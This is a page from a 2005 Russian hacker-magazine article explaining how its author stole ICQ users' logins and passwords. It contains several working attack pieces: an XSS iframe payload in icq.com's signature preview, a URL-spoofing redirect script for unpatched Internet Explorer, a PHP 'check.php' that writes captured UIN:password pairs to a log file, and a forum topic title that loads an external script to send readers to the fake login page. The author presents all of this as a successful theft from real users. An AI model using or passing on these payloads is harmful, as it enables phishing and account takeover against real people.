Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #83, НОЯБРЬ 2005 г.

Имеем пользователей icq.com

PinkPanther

Хакер, номер #083, стр. 083-060-4


www.icq.com/icq_preferences/sig_preview.php?sig=%3Ciframe+src%3Dhttp%3A%2F%2Fmy_site%2Flogin.php+height%3D100%25+width%3D100%25+scrolling=no+frameborder=0%3E

Все прошло успешно, скрипт лишь немного палится в title страницы, но, в принципе, все отлично.

Для общего развития я решил рассмотреть еще один вариант обмана - url spoofing. Эта идея уже рассматривалась в журнале, а именно №3 2004, стр.64, так что особых сложностей у тебя вызвать не должна. Для осуществления подставы, надо чтоб у жертвы в браузере сработал такой вот код:

<script>location.href=unescape('http://www.icq.com|login.php%01@www.my_site/login.php');</script>

Браузером должен быть не обновленный осел. К сожалению, в первом адресе скрипта, нельзя использовать слэши, поэтому пришлось довольствоваться вертикальной чертой. Хотя, возможно, ты придумаешь, что-нибудь покрасивее :).

[а теперь о самом фейке]

А тут, вообще, ничего сложного. Просто сохраняем страницу авторизации на винт и немного правим, а именно - изменяем параметр action, указывая вместо www.icq.com/karma/login.php свой файл check.php. Сам же check.php будет выглядеть так:

check.php

<?php

$fp=fopen("logi.html", "a"); //открываем файл logi.html для дозаписи в конец файла

fwrite($fp, "$uin_email : $password<br/>"); //дозаписываем связку уин (примари):пароль

fclose($fp); //закрываем файл

header("location:http://icq.com/boards/"); //редиректим на главную страницу форума

?>

Теперь зальем эти 2 файла, а также файл logi.html, на сайт с поддержкой php (в данном случае это мой сайт - my_site). Вот и все, фейк готов! Не забудь только выставить правильный chmod.

[собираем все воедино]

Так как уязвимый параметр Subject/Question не принимал более 55 знаков, пришлось прибегнуть к одной хитрости. В форуме я создал тему с заголовком "><script src="http://my_site/1.js"></script>. Потом создал файл 1.js, в который поместил такую вот строку:

location.href=unescape('http://www.icq.com|login.php%01@www.my_site/login.php');

или для работы с ифреймом:

location.href='http://www.icq.com/icq_preferences/sig_preview.php?sig=%3Ciframe+src%3Dhttp%3A%2F%2Fmy_site%2Flogin.php+height%3D100%25+width%3D100%25+scrolling=no+frameborder=0%3E';

Размещенный на форуме сплоит грузил с моего сайта скрипт 1.js, который, в свою очередь, редиректил всех, кто находился на данной странице форума, на мой фейк. Пользователь-жертва, думал, что это глюк форума и заново авторизировался, тем самым, оставляя мне свои уины/примари и пароли, и после попадал обратно на доску как ни в чем не бывало.

Вот и все. Теперь задача стоит над тем, как удержать украденные уины у себя, но зная уин/примари и пароль, это уже не проблема :).

[самый дырявый сайт года :)]

Пока писал статью, в закрытых и паблик разделах античата начался глобальный поиск багов в icq.com, и уже сейчас там есть очень интересные разработки (множество пассивных CSS, дырки, позволяющие угнать айсикьюшное мыло и т.д.). В то же время, когда статья уже была дописана, мной было найдено еще несколько CSS на icq.com. Так что делай выводы и продолжай исследования.

Назад на стр. 083-060-3  Содержание  Вперед на стр. 083-060-5